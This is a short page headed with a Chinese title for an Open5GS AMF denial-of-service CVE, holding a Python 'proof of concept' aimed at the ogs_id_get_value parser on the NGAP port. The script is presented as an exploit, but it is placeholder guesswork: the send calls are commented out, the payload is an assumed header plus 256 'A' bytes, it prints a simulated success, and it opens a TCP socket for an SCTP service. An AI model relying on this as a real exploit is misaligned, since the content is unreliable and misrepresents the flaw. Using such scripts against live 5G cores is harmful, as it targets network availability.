CVE-2026-7586 Open5GS AMF组件拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-7586 (Open5GS DoS) This script attempts to trigger the vulnerability in the ogs_id_get_value function. Note: Actual exploitation requires specific 5G signaling context (SCTP/NGAP). """ import socket import time TARGET_IP = "127.0.0.1" # Replace with target AMF IP TARGET_PORT = 38412 # Standard SCTP port for NGAP (Conceptual) # This is a conceptual representation. # Real exploitation requires crafting NGAP messages over SCTP. # The vulnerability is triggered by manipulating ID values sent to the handler. def send_malicious_payload(): print(f"[*] Targeting {TARGET_IP} on port {TARGET_PORT}...") print("[*] Attempting to trigger ogs_id_get_value malfunction...") try: # In a real scenario, establish an SCTP association # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((TARGET_IP, TARGET_PORT)) # Construct payload that triggers the parsing weakness # The exact byte sequence depends on the specific ID parsing logic flaw. # Assuming a malformed length or delimiter causes the crash. malformed_header = b'\x00\x00\x00\x01' trigger_body = b'A' * 256 # Buffer that might overflow or confuse the parser payload = malformed_header + trigger_body # s.send(payload) print("[!] Malicious payload sent (simulated).") print("[!] Check AMF process status for potential crash.") # s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_malicious_payload()